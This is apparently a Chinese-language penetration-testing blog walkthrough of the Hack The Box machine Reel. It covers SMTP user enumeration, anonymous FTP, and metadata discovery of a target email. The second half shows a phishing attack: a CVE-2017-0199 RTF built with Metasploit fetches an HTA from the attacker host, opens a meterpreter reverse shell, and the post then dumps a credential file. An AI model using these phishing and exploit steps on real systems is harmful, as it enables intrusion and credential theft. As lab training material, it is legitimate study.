滲透測試重新打底(2.2)--論Enumeration(枚舉)之SMTP


Posted by kahatrix on 2023-09-22

SMTP全名是Simple Mail Transport Protocol,其實就是一個Email Server,跑的Port是TCP Port 25。它的用法是比如說用Telnet登入了這個Email Server,它會提供你一些Command來做使用。

比如說這邊列了兩個例子,第一個是vrfy,它其實是verify,VRFY: Ask server verify email address。它的用途就是詢問你的Email Server,某一個Email是不是合理的Email。

第二個是expn,它其實就是跟這個Email Server要一個它的Mailing List。

針對Email Server,它能夠直接攻擊的路徑比較少,針對Enumeration來說,是我們要想辦法了解Email的帳號,之後我們可以做比如說像是釣魚。但是在OSCP中會使用到釣魚的機率比較少,針對OSCP實用性會比較低。

這邊使用Hack The Box Reel這一台機器來Demo一下這個SMTP的過程。

┌──(root㉿kali)-[~]
└─# telnet 10.10.10.77 25
Trying 10.10.10.77...
Connected to 10.10.10.77.
Escape character is '^]'.
220 Mail Service ready

先用Telnet來登入Reel這台機器,它會告訴你說Mail Service Ready,並且它會等待你的Command。

┌──(root㉿kali)-[~]
└─# telnet 10.10.10.77 25
Trying 10.10.10.77...
Connected to 10.10.10.77.
Escape character is '^]'.
220 Mail Service ready
hello test.con
503 Bad sequence of commands
hello test.com
503 Bad sequence of commands
HELO test.com
250 Hello.
HELO test.con
250 Hello.

這邊就做一個Hello,HELO是它的Hello Message。比如說我是Test.com,這邊它成功的說喔好,Test.com Hello。

┌──(root㉿kali)-[~]
└─# telnet 10.10.10.77 25
Trying 10.10.10.77...
Connected to 10.10.10.77.
...
HELO test.con
250 Hello.
MAIL FROM: <abcd@test.com>
250 OK

那再來假設要寄信的話,就像上面那樣MAIL FROM...,那這樣就是跟這台Server說我的這個寄件人是abcd@test.com。

┌──(root㉿kali)-[~]
└─# telnet 10.10.10.77 25
Trying 10.10.10.77...
Connected to 10.10.10.77.
...
MAIL FROM: <abcd@test.com>
250 OK
RCPT TO: <not_exist@megabank.com>
550 Unknown user

下一個就是重點:RCPT。這邊就會跟Email Server講說我的目標是什麼,這邊來做一個簡單的Demo。比如說先給它一個確定不存在的帳號,如果它確定是不存在的User,這邊就會顯示一個unknown user如上面所示。

┌──(root㉿kali)-[~]
└─# telnet 10.10.10.77 25
Trying 10.10.10.77...
Connected to 10.10.10.77.
Escape character is '^]'.
220 Mail Service ready
RCPT TO: <not_exist@megabank.com>
503 Bad sequence of commands
HELO test.com
250 Hello.
RCPT TO: <nico@megabank.com>
503 must have sender first.
MAIL FROM: <abc@test.com>
250 OK
RCPT TO: <nico@megabank.com>
250 OK

根據上面結果,可知道

  • not_exist@megabank.com不存在
  • nico@megabank.com存在

那這樣的資訊,讓我們有機會透過字典檔來達到枚舉用戶的目的。但老實說針對Email的這一個部分,並沒有辦法做太多的Exploit,除非它本身的Email Server有已知漏洞的版本,可以做比如說像是RCE或是其他的攻擊。

雖然在真正的滲透測試或是紅隊演練,我們會使用Email進行釣魚,但如果考OSCP或類似考試之類的,實用性就會比較低。

接下來稍微做一下Demo,要做的是如何使用Email來做釣魚。那我們通常也是先做Nmap,先使用-Pn,它就是一個做ping,做最簡單的快速的掃描。

┌──(root㉿kali)-[~]
└─# nmap -Pn 10.10.10.77
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-23 02:03 EDT
Nmap scan report for 10.10.10.77
Host is up (0.26s latency).
Not shown: 992 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
25/tcp    open  smtp
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
593/tcp   open  http-rpc-epmap
49159/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 43.23 seconds

Simple Mail Transport Protocol有開的狀況下,可以針對SMTP來做更多的Enumeration。另外SSH、FTP也有開。好,那我們的目標,目前Port這樣子簡單掃起來就只有這三個,所以我們可以先來看一下,比如說針對FTP的部分。

FTP它就是個File Server,可以儲藏很多檔案。那Kali也提供了FTP的這個Binary,用法也很簡單,我們直接FTP然後帶上我們的IP的參數:

┌──(root㉿kali)-[~]
└─# ftp 10.10.10.77
Connected to 10.10.10.77.
220 Microsoft FTP Service
Name (10.10.10.77:kali):

FTP在做這種滲透測試或是枚舉的時候,要注意的地方是它允不允許匿名登入。比如說在這邊我們輸入anonymous,也就是匿名的意思。如果這個FTP Server是允許匿名登入的話,會出現匿名登入allow。它會問你password,但是你隨便打,其實就可以登入進來了。

┌──(root㉿kali)-[~]
└─# ftp 10.10.10.77
Connected to 10.10.10.77.
220 Microsoft FTP Service
Name (10.10.10.77:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp>

FTP使用方法很簡單,跟Windows Command使用的方法幾乎沒有兩樣,也是DIR,然後就可以看到它有什麼檔案。比如說我在這個DIR看到了一個有Documents的Directory。

┌──(root㉿kali)-[~]
└─# ftp 10.10.10.77
Connected to 10.10.10.77.
220 Microsoft FTP Service
Name (10.10.10.77:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||41000|)
125 Data connection already open; Transfer starting.
05-29-18  12:19AM       <DIR>          documents
226 Transfer complete.

所以我們就可以cd document,進去之後一樣是透過DIR這個指令,看一下它有哪些檔案。可以看到它在這個FTP Server裡面有三個檔案,有AppLocker.docx、Readme.txt跟這個WindowsEventForwarding.docx。

ftp> cd documents
250 CWD command successful.
ftp> dir
229 Entering Extended Passive Mode (|||41001|)
125 Data connection already open; Transfer starting.
05-29-18  12:19AM                 2047 AppLocker.docx
05-28-18  02:01PM                  124 readme.txt
10-31-17  10:13PM                14581 Windows Event Forwarding.docx
226 Transfer complete.

那我們下一步要把它下載下來,好好的來研究一下它有什麼可能可以攻擊的地方。那FTP它也提供了HELP指令來看看它支援什麼。可以看到它這邊支援許多指令,最重要的像是PUT或者是GET。GET可以讓我們下載檔案,PUT它可以讓我們上傳檔案。那PUT這個Command可以用在比如說上傳Reverse Shell的時候會特別好用。有些題目它會是一個Web Server搭配一個FTP,然後這個Web Server可以呼叫FTP Server裡面的檔案。那如果你在FTP有這個PUT的話,就可以上傳Reverse Shell檔案。第一,做File Upload,第二,做檔案的呼叫並且拿Shell,這是一個小小的思路。

ftp> help
Commands may be abbreviated.  Commands are:

!               edit            lpage           nlist           rcvbuf          struct
$               epsv            lpwd            nmap            recv            sunique
account         epsv4           ls              ntrans          reget           system
append          epsv6           macdef          open            remopts         tenex
ascii           exit            mdelete         page            rename          throttle
bell            features        mdir            passive         reset           trace
binary          fget            mget            pdir            restart         type
bye             form            mkdir           pls             rhelp           umask
case            ftp             mls             pmlsd           rmdir           unset
cd              gate            mlsd            preserve        rstatus         usage
cdup            get             mlst            progress        runique         user
chmod           glob            mode            prompt          send            verbose
close           hash            modtime         proxy           sendport        xferbuf
cr              help            more            put             set             ?
debug           idle            mput            pwd             site
delete          image           mreget          quit            size
dir             lcd             msend           quote           sndbuf
disconnect      less            newer           rate            status

回到我們的FTP的部分。我們可以用GET來下載我們要的檔案,比如說剛才我們的readme.txt,那這邊可以看到Command successful並且Transfer complete。

ftp> get readme.txt
local: readme.txt remote: readme.txt
229 Entering Extended Passive Mode (|||41004|)
125 Data connection already open; Transfer starting.
100% |*****************************************************************|   124        0.29 KiB/s    00:00 ETA
226 Transfer complete.
124 bytes received in 00:00 (0.19 KiB/s)

一樣我們也可以去下載Windows Event Forwarding以及剛剛的這個AppLocker.docx。但是注意,因為這個Windows Event Forwarding.docx中間有空格,所以下載的時候得用一個Quote把它給包起來,才能夠傳送成功。

ftp> get "Windows Event Forwarding.docx"
local: Windows Event Forwarding.docx remote: Windows Event Forwarding.docx
229 Entering Extended Passive Mode (|||41007|)
150 Opening ASCII mode data connection.
100% |*****************************************************************| 14581       14.23 KiB/s    00:00 ETAftp: Reading from network: Interrupted system call
  0% |                                                                 |    -1        0.00 KiB/s    --:-- ETA
226 Transfer complete.
WARNING! 51 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
ftp> get AppLocker.docx
local: AppLocker.docx remote: AppLocker.docx
229 Entering Extended Passive Mode (|||41008|)
150 Opening ASCII mode data connection.
100% |*****************************************************************|  2047        3.24 KiB/s    00:00 ETA
226 Transfer complete.
WARNING! 9 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
2047 bytes received in 00:00 (2.42 KiB/s)

那這邊還有一個小小的Tips要給大家講一下,就是如果你用HTTP去上傳binary檔案的話,它有時候會出問題,那它的解法很簡單,就是你直接輸入binary就可以了。

ftp> binary
200 Type set to I.

按Exit就可以跳出來,檔案會存在根目錄。可以看到Windows Event Forwarding、readme.txt以及AppLocker.docx。

ftp> exit
221 Goodbye.

┌──(root㉿kali)-[~]
└─# ls
 47799.txt        crowbar.log   linpeas.sh   patator   PT_day2      test_1120511.pcap
 AppLocker.docx   crowbar.out   LPT_day1     peda      readme.txt  'Windows Event Forwarding.docx'

首先我們來看一下最簡單的Readme.txt,在這個Readme.txt上面寫了你可以Email我
任何RTF的檔案,他會打開來看。所以針對像Hack the box這樣子特別設計的平台,你可以去猜想說我可以寄一個Email過去。但是問題來了,第一個它這邊說的me是誰,第二個RTF要怎麼去使用它,要怎麼去創一個RTF的Reverse Shell,我們目前還不知道。

┌──(root㉿kali)-[/home/kali/HTB/reel]
└─# cat readme.txt
please email me any rtf format procedures - I'll review and convert.

new format / converted documents will be saved here.

那稍微簡單介紹一下RTF。RTF全名叫做Rich Text Format,簡單來說它會有一些Tag,然後這個RTF是屬於微軟的一個Format。它有自己的一個格式,比如使用粗體像是/b,然後用括號來標示它的範圍。它其實沒有很特別,簡單來講就是一個控制碼。那它用途基本上就是文書處理,都是可以使用這個RTF的文件。

我們的重點是要了解我們可以如何濫用RTF這個文件,因為RTF文件是可以內嵌網址在裡面的,但我們還不知道要email給誰。

我們目前有什麼資料? 我們目前有FTP、有SSH、有SMTP,我們目前只知道三個port有開。當然剛剛在SMTP介紹,大家已經知道說有nico這一個使用者,但我們現在是在做Lab,我們得假裝不知道。

那在這個地方,其實比較像是故意設計這一個題目在裡面的,跟OSCP比較沒有關係,它這邊比較像是資料鑑識的部分,那它這邊的出題點在於要使用exiftool,這個工具可以檢查很多檔案類別的metadata。

那當然你也可以說因為檔案都放在FTP server,所以我當然要檢查這些docx以及txt檔案沒有錯,那這個部分就是它故意要這樣設計在裡面的。

┌──(root㉿kali)-[~]
└─# mv "Windows Event Forwarding.docx" /home/kali/HTB/reel

┌──(root㉿kali)-[~]
└─# cd /home/kali/HTB/reel

┌──(root㉿kali)-[/home/kali/HTB/reel]
└─# exiftool 'Windows Event Forwarding.docx'
ExifTool Version Number         : 12.57
File Name                       : Windows Event Forwarding.docx
Directory                       : .
File Size                       : 15 kB
File Modification Date/Time     : 2017:10:31 17:13:23-04:00
File Access Date/Time           : 2023:06:23 06:38:17-04:00
File Inode Change Date/Time     : 2023:06:23 06:39:28-04:00
File Permissions                : -rw-r--r--
File Type                       : DOCX
File Type Extension             : docx
MIME Type                       : application/vnd.openxmlformats-officedocument.wordprocessingml.document
Zip Required Version            : 20
Zip Bit Flag                    : 0x0006
Zip Compression                 : Deflated
Zip Modify Date                 : 1980:01:01 00:00:00
Zip CRC                         : 0x82872409
Zip Compressed Size             : 385
Zip Uncompressed Size           : 1422
Zip File Name                   : [Content_Types].xml
Creator                         : nico@megabank.com
Revision Number                 : 4
Create Date                     : 2017:10:31 18:42:00Z
Modify Date                     : 2017:10:31 18:51:00Z
Template                        : Normal.dotm
Total Edit Time                 : 5 minutes
Pages                           : 2
Words                           : 299
Characters                      : 1709
Application                     : Microsoft Office Word
Doc Security                    : None
Lines                           : 14
Paragraphs                      : 4
Scale Crop                      : No
Heading Pairs                   : Title, 1
Titles Of Parts                 :
Company                         :
Links Up To Date                : No
Characters With Spaces          : 2004
Shared Doc                      : No
Hyperlinks Changed              : No
App Version                     : 14.0000

那它的做法是使用exiftool這一個資料鑑識工具去查看docx,然後會在這一個docx檔案裡面看到喔這邊有個NICO@MEGABANK.COM,那看到有這個creator,然後你再回去使用剛剛的SMTP的工具,使用Telnet來驗證說的確是有NICO@MEGABANK.COM這一個使用者的。然後我們再寄釣魚郵件,給這一個NICO@MEGABANK.COM,它的思路大概是這個樣子。

釣魚的思路,第一個,我們要傳一封有RTF檔案,還有有attachment的郵件,給這個NICO。那第二個,RTF檔案的內容裡要有一個link,那它就是透過RTF本身自帶內嵌link的功能,那這個link會連回我們的Kali Linux。第三步,連回Kali Linux之後,我們要給一個真正能讓Windows執行的一個檔案,那這個目標它是Windows Server。那有什麼檔案可以讓Windows執行呢? 比如說像是HTA。HTA是Windows它default是可以執行的一個比較偏向文字的檔案,Windows會把它執行成一個script,那這大概是我們的思路。

針對RTF有不同兩個方式第一個我們可以去clone這個git,然後去使用它的針對RTF所做的exploit,它會幫你生成一個RTF,並且內嵌一個你要的link在裡面。那這一個MHMTA.HTA可以用MSVenom這樣的工具來生成,不過這樣的步驟比較慢一點。

參考 Link:
Exploit Windows 10 PC with Microsoft RTF File (CVE-2017-0199) - Hacking Articles

Install & Run:

git clone https://github.com/bhdresh/CVE-2017-0199.git
cd CVE-2017-0199/

### Example 
### -M Mode
### -w output file
### -u link to HTA file
python cve-2017-0199_toolkit.py -M gen -w test.rtf -u http://192.168.1.24/myhta.hta

另外我們可以使用MetaSploit,它除了大家可能熟悉的MultiHandler之外,也有支援像這種HTA攻擊文件的server。

msf6 > use exploit/windows/fileformat/office_word_hta
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/office_word_hta) > show options

Module options (exploit/windows/fileformat/office_word_hta):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.doc          yes       The file name.
   SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an ad
                                        dress on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT   8080             yes       The local port to listen on.
   SSL       false            no        Negotiate SSL for incoming connections
   SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH   default.hta      yes       The URI to use for the HTA file


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.18.193   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Microsoft Office Word



View the full module info with the info, or info -d command.

msf6 exploit(windows/fileformat/office_word_hta) > set filename test.rtf
filename => test.rtf
msf6 exploit(windows/fileformat/office_word_hta) > set lhost 10.10.16.2
lhost => 10.10.16.2
msf6 exploit(windows/fileformat/office_word_hta) > set srvhost 10.10.16.2
srvhost => 10.10.16.2
msf6 exploit(windows/fileformat/office_word_hta) > set lport 4450
lport => 4450
msf6 exploit(windows/fileformat/office_word_hta) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.16.2:4450
[+] test.rtf stored at /root/.msf4/local/test.rtf
[*] Using URL: http://10.10.16.2:8080/default.hta
msf6 exploit(windows/fileformat/office_word_hta) > [*] Server started.

MetaSploit不能使用,的確,那考試它所針對的是MetaSploit攻擊的module,最常見像是MultiHandler,如果你只是用單純的Windows Shell的話,它是沒有限制的。大家可能特別要注意一下,如果你使用MetaSploit,你用在不只一台機器的話,它是會影響到你的分數的。OSCP它比較沒有這種HTA攻擊的部分,它是OSEP比較多。

跟大家分享一個小習慣。在lport的部分,有時候這個考試它只放行一些常用的port,比如說像是443,就是http,或者是21 ftp,在做這種reverse shell嘗試的時候,要稍微留一點心在這上面,如果說你的exploit都對,但是reverse shell回不來的時候,它的問題有時候可能是它的防火牆把所有其他的port都擋住了,只放行一些看起來像是真正合理的port。

還記得RTF是我們要拿去做釣魚的,HTA才是我們真正攻擊的payload。回到寄信的這個地方,我們可以再新開一個寄信的terminal,那這邊介紹一個sendEmail這個工具,它可以幫我們把RTF檔案傳送出去。(以下是新開terminal)

┌──(root㉿kali)-[~]
└─# sendEmail -f test@test.com -t nico@megabank.com -u "Update Info" -m "Please find the file attached" -a /root/.msf4/local/test.rtf -s 10.10.10.77 -v
Jun 23 07:24:37 kali sendEmail[100083]: DEBUG => Connecting to 10.10.10.77:25
Jun 23 07:24:37 kali sendEmail[100083]: DEBUG => My IP address is: 10.10.16.2
Jun 23 07:24:37 kali sendEmail[100083]: SUCCESS => Received:    220 Mail Service ready
Jun 23 07:24:37 kali sendEmail[100083]: INFO => Sending:        EHLO kali
Jun 23 07:24:37 kali sendEmail[100083]: SUCCESS => Received:    250-REEL, 250-SIZE 20480000, 250-AUTH LOGIN PLAIN, 250 HELP
Jun 23 07:24:37 kali sendEmail[100083]: INFO => Sending:        MAIL FROM:<test@test.com>
Jun 23 07:24:38 kali sendEmail[100083]: SUCCESS => Received:    250 OK
Jun 23 07:24:38 kali sendEmail[100083]: INFO => Sending:        RCPT TO:<nico@megabank.com>
Jun 23 07:24:38 kali sendEmail[100083]: SUCCESS => Received:    250 OK
Jun 23 07:24:38 kali sendEmail[100083]: INFO => Sending:        DATA
Jun 23 07:24:38 kali sendEmail[100083]: SUCCESS => Received:    354 OK, send.
Jun 23 07:24:38 kali sendEmail[100083]: INFO => Sending message body
Jun 23 07:24:38 kali sendEmail[100083]: Setting content-type: text/plain
Jun 23 07:24:38 kali sendEmail[100083]: DEBUG => Sending the attachment [/root/.msf4/local/test.rtf]
Jun 23 07:24:50 kali sendEmail[100083]: SUCCESS => Received:    250 Queued (11.656 seconds)
Jun 23 07:24:50 kali sendEmail[100083]: Email was sent successfully!  From: <test@test.com> To: <nico@megabank.com> Subject: [Update Info] Attachment(s): [test.rtf] Server: [10.10.10.77:25]

把這個mail傳出去之後,過沒多久就可以拿到我們的shell:

msf6 exploit(windows/fileformat/office_word_hta) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.16.2:4450
[+] test.rtf stored at /root/.msf4/local/test.rtf
[*] Using URL: http://10.10.16.2:8080/default.hta
msf6 exploit(windows/fileformat/office_word_hta) > [*] Server started.
[*] Sending stage (175686 bytes) to 10.10.10.77
[*] Meterpreter session 1 opened (10.10.16.2:4450 -> 10.10.10.77:53839) at 2023-06-23 07:25:15 -0400

msf6 exploit(windows/fileformat/office_word_hta) > sessions -l

Active sessions
===============

  Id  Name  Type                     Information      Connection
  --  ----  ----                     -----------      ----------
  1         meterpreter x86/windows  HTB\nico @ REEL  10.10.16.2:4450 -> 10.10.10.77:53839 (10.10.10.77)

這邊給大家一個小技巧,就是當你在DIR在看這個檔案,想要看有沒有什麼不一樣的地方,有沒有可能出現特別檔案的時候,可以看一下資料夾的最後更改日期,那這邊很明顯這邊就是有一個Desktop,他就是跟人家不一樣,他是8點07,其他都是可能是晚上10點42,所以在做host reconnaissance的時候非常的好用。

msf6 exploit(windows/fileformat/office_word_hta) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 1312 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>cd c:\users\
cd c:\users\

c:\Users>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is CEBA-B613

 Directory of c:\Users

04/11/2017  00:09    <DIR>          .
04/11/2017  00:09    <DIR>          ..
25/10/2017  21:48    <DIR>          .NET v2.0
25/10/2017  21:48    <DIR>          .NET v2.0 Classic
01/11/2017  22:58    <DIR>          .NET v4.5
01/11/2017  22:58    <DIR>          .NET v4.5 Classic
17/02/2018  00:29    <DIR>          Administrator
05/11/2017  00:05    <DIR>          brad
31/10/2017  00:00    <DIR>          claire
25/10/2017  21:48    <DIR>          Classic .NET AppPool
04/11/2017  00:09    <DIR>          herman
31/10/2017  23:27    <DIR>          julia
29/05/2018  23:37    <DIR>          nico
22/08/2013  16:39    <DIR>          Public
28/10/2017  22:32    <DIR>          SSHD
16/11/2017  23:35    <DIR>          tom
               0 File(s)              0 bytes
              16 Dir(s)   4,962,357,248 bytes free

c:\Users>whoami
whoami
htb\nico

c:\Users>cd nico
cd nico

c:\Users\nico>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is CEBA-B613

 Directory of c:\Users\nico

29/05/2018  23:37    <DIR>          .
29/05/2018  23:37    <DIR>          ..
27/10/2017  23:42    <DIR>          Contacts
28/05/2018  21:07    <DIR>          Desktop
23/06/2023  12:34    <DIR>          Documents
21/01/2018  16:13    <DIR>          Downloads
27/10/2017  23:42    <DIR>          Favorites
27/10/2017  23:42    <DIR>          Links
27/10/2017  23:42    <DIR>          Music
27/10/2017  23:42    <DIR>          Pictures
27/10/2017  23:42    <DIR>          Saved Games
27/10/2017  23:42    <DIR>          Searches
27/10/2017  23:42    <DIR>          Videos
               0 File(s)              0 bytes
              13 Dir(s)   4,962,357,248 bytes free

c:\Users\nico>cd desktop
cd desktop

c:\Users\nico\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is CEBA-B613

 Directory of c:\Users\nico\Desktop

28/05/2018  21:07    <DIR>          .
28/05/2018  21:07    <DIR>          ..
28/10/2017  00:59             1,468 cred.xml
23/06/2023  01:56                34 user.txt
               2 File(s)          1,502 bytes
               2 Dir(s)   4,962,357,248 bytes free

c:\Users\nico\Desktop>type cred.xml
type cred.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">HTB\Tom</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692</SS>
    </Props>
  </Obj>
</Objs>

我們有提到說Windows是不區分大小寫的,我們這上面列出來的Desktop,D是大寫,但我們在這邊直接cd 小寫的D desktop其實也是可以的。

他還有一個cred.xml,那我們可以透過type這個指令,他就像是Linux的cat指令一樣,可以去查看一個檔案。那查看這個檔案之後,我們可以看到他看起來像是一個xml的檔案,然後並且這邊有個password的字樣,這個題目他很好心就直接把password,可能就是我們的帳號密碼,我們的登入資訊放在這裡。

那大家看到這樣的檔案,可能會不知道他是什麼,那我們可以看一下,他裡面有個關鍵字叫PSCredential。把這個東西拿去google,然後再加xml,那可以看到說google已經提供一些關鍵字:

我們可以想像一下,我也不知道這個東西是什麼,但是我可以去找一些看起來比較敏感的關鍵字比如說像是在剛剛xml出現的System.Management.Automation.PSCredential我們可以直接把這個看起來像是關鍵字的東西給丟上google看一下他到底是什麼。

那這個東西它其實它是一個經過加密的密碼,當然這個加密的密碼他可以拿來做解密但是我們先跳過這個部分好了。










Related Posts

用 Express & Sequelize 做一個餐廳網站

用 Express & Sequelize 做一個餐廳網站

7. Adapter

7. Adapter

Chapter 1. 重構:第一個範例

Chapter 1. 重構:第一個範例


Comments